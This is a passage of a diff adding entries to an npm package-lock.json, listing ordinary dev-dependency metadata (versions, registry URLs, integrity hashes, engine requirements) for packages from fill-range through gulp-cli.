"https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==", + "dev": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/findup-sync": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz", + "integrity": "sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==", + "dev": true, + "dependencies": { + "detect-file": "^1.0.0", + "is-glob": "^4.0.0", + "micromatch": "^4.0.2", + "resolve-dir": "^1.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fined": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz", + "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==", + "dev": true, + "dependencies": { + "expand-tilde": "^2.0.2", + "is-plain-object": "^2.0.3", + "object.defaults": "^1.1.0", + "object.pick": "^1.2.0", + "parse-filepath": "^1.0.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/flagged-respawn": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz", + "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz", + "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==", + "dev": true + }, + "node_modules/flowbite-typography": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/flowbite-typography/-/flowbite-typography-1.0.3.tgz", + "integrity": "sha512-UbdQFIIOb7xx2TS+QQrqr79B6ZSkSZurxYWzV0npth6Wns3/j7KfeDJoH9QFU+Zs7zjrvejNtyzgzWLWyCrdiA==", + "dev": true, + "dependencies": { + "lodash.castarray": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.merge": "^4.6.2" + }, + "peerDependencies": { + "tailwindcss": ">=3.0.0 || insiders" + } + }, + "node_modules/flush-write-stream": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz", + "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "readable-stream": "^2.3.6" + } + }, + "node_modules/for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/for-own": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", + "integrity": "sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==", + "dev": true, + "dependencies": { + "for-in": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/foreground-child": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-2.0.0.tgz", + "integrity": "sha512-dCIq9FpEcyQyXKCkyzmlPTFNgrCzPudOe+mhvJU5zAtlBnGVy2yKxtfsxK2tQBThwq225jcvBjpw1Gr40uzZCA==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dev": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fraction.js": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz", + "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", + "dev": true, + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://www.patreon.com/infusion" + } + }, + "node_modules/fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==", + "dev": true, + "dependencies": { + "map-cache": "^0.2.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/from": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/from/-/from-0.1.7.tgz", + "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==", + "dev": true + }, + "node_modules/fromentries": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fromentries/-/fromentries-1.3.2.tgz", + "integrity": "sha512-cHEpEQHUg0f8XdtZCc2ZAhrHzKzT0MrFUTcvx+hfxYu7rGMDc5SKoXFh+n4YigxsHXRzc6OrCshdR1bWH6HHyg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/fs-extra": { + "version": "11.1.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz", + "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/fs-extra/node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/fs-mkdirp-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-mkdirp-stream/-/fs-mkdirp-stream-1.0.0.tgz", + "integrity": "sha512-+vSd9frUnapVC2RZYfL3FCB2p3g4TBhaUmrsWlSudsGdnxIuUvBB2QM1VZeBtc49QFwrp+wQLrDs3+xxDgI5gQ==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.11", + "through2": "^2.0.3" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/fs-mkdirp-stream/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", + "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "deprecated": "The v1 package contains DANGEROUS / INSECURE binaries. Upgrade to safe fsevents v2", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "dependencies": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "dev": true + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-func-name": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", + "integrity": "sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-stdin": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", + "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/glob": { + "version": "7.1.7", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", + "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-stream": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/glob-stream/-/glob-stream-6.1.0.tgz", + "integrity": "sha512-uMbLGAP3S2aDOHUDfdoYcdIePUCfysbAd0IAoWVZbeGU/oNQ8asHVSshLDJUPWxfzj8zsCG7/XeHPHTtow0nsw==", + "dev": true, + "dependencies": { + "extend": "^3.0.0", + "glob": "^7.1.1", + "glob-parent": "^3.1.0", + "is-negated-glob": "^1.0.0", + "ordered-read-streams": "^1.0.0", + "pumpify": "^1.3.5", + "readable-stream": "^2.1.5", + "remove-trailing-separator": "^1.0.1", + "to-absolute-glob": "^2.0.0", + "unique-stream": "^2.0.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/glob-stream/node_modules/glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==", + "dev": true, + "dependencies": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + } + }, + "node_modules/glob-stream/node_modules/is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true, + "peer": true + }, + "node_modules/glob-watcher": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/glob-watcher/-/glob-watcher-5.0.5.tgz", + "integrity": "sha512-zOZgGGEHPklZNjZQaZ9f41i7F2YwE+tS5ZHrDhbBCk3stwahn5vQxnFmBJZHoYdusR6R1bLSXeGUy/BhctwKzw==", + "dev": true, + "dependencies": { + "anymatch": "^2.0.0", + "async-done": "^1.2.0", + "chokidar": "^2.0.0", + "is-negated-glob": "^1.0.0", + "just-debounce": "^1.0.0", + "normalize-path": "^3.0.0", + "object.defaults": "^1.1.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/global-modules": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz", + "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==", + "dev": true, + "dependencies": { + "global-prefix": "^1.0.1", + "is-windows": "^1.0.1", + "resolve-dir": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/global-prefix": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz", + "integrity": "sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==", + "dev": true, + "dependencies": { + "expand-tilde": "^2.0.2", + "homedir-polyfill": "^1.0.1", + "ini": "^1.3.4", + "is-windows": "^1.0.1", + "which": "^1.2.14" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/glogg": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/glogg/-/glogg-1.0.2.tgz", + "integrity": "sha512-5mwUoSuBk44Y4EshyiqcH95ZntbDdTQqA3QYSrxmzj28Ai0vXBGMH1ApSANH14j2sIRtqCEyg6PfsuP7ElOEDA==", + "dev": true, + "dependencies": { + "sparkles": "^1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "node_modules/growl": { + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "dev": true, + "engines": { + "node": ">=4.x" + } + }, + "node_modules/gulp": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/gulp/-/gulp-4.0.2.tgz", + "integrity": "sha512-dvEs27SCZt2ibF29xYgmnwwCYZxdxhQ/+LFWlbAW8y7jt68L/65402Lz3+CKy0Ov4rOs+NERmDq7YlZaDqUIfA==", + "dev": true, + "dependencies": { + "glob-watcher": "^5.0.3", + "gulp-cli": "^2.2.0", + "undertaker": "^1.2.1", + "vinyl-fs": "^3.0.0" + }, + "bin": { + "gulp": "bin/gulp.js" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/gulp-change": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/gulp-change/-/gulp-change-1.0.2.tgz", + "integrity": "sha512-Okikw3E9bK+mmhC8VGFk+i4iafKTtGTnTGpCheuGtJn51TuMxQ5ooLeRvAfncyr4FQF+Byksj9OaecpDpYDFkw==", + "dev": true, + "dependencies": { + "event-stream": "^4.0.1" + } + }, + "node_modules/gulp-clean-css": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/gulp-clean-css/-/gulp-clean-css-4.3.0.tgz", + "integrity": "sha512-mGyeT3qqFXTy61j0zOIciS4MkYziF2U594t2Vs9rUnpkEHqfu6aDITMp8xOvZcvdX61Uz3y1mVERRYmjzQF5fg==", + "dev": true, + "dependencies": { + "clean-css": "4.2.3", + "plugin-error": "1.0.1", + "through2": "3.0.1", + "vinyl-sourcemaps-apply": "0.2.1" + } + }, + "node_modules/gulp-cli": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/gulp-cli/-/gulp-cli-2.3.0.tgz", + "integrity": "sha512-zzGBl5fHo0EKSXsHzjspp3y5CONegCm8ErO5Qh0UzFzk2y4tMvzLWhoDokADbarfZRL2pGpRp7yt6gfJX4ph7A==", + "dev": true, + "dependencies": { + "ansi-colors": "^1.0.1", + "archy": "^1.0.0", + "array-sort": "^1.0.0", + "color-support": "^1.1.3", + "concat-stream": "^1.6.0", + "copy-props": "^2.0.1", + "fancy-log": "^1.3.2", + "gulplog": "^1.0.0", + "interpret": "^1.4.0", + "isobject": "^3.0.1", + "liftoff": "^3.1.0", + "matchdep": "^2.0.0", + "mute-stdout": "^1.0.0", + "pretty-hrtime": "^1.0.0", + "replace-homedir": "^1.0.0", + "semver-greatest-satisfied-range": "^1.1.0", + "v8flags": "^3.2.0", + "yargs": "^7.1.0" + }, + "bin": { + "gulp": "bin/gulp.js" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/gulp-cli/node_modules/ansi-colors": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz", + "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==", + "dev": true, + "dependencies": { + "ansi-wrap": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==", + "dev": true, + "dependencies": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "node_modules/gulp-cli/node_modules/get-caller-file": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", + "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", + "dev": true + }, + "node_modules/gulp-cli/node_modules/is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==", + "dev": true, + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==", + "dev": true, + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==", + "dev": true, + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==", + "dev": true, + "dependencies": { + 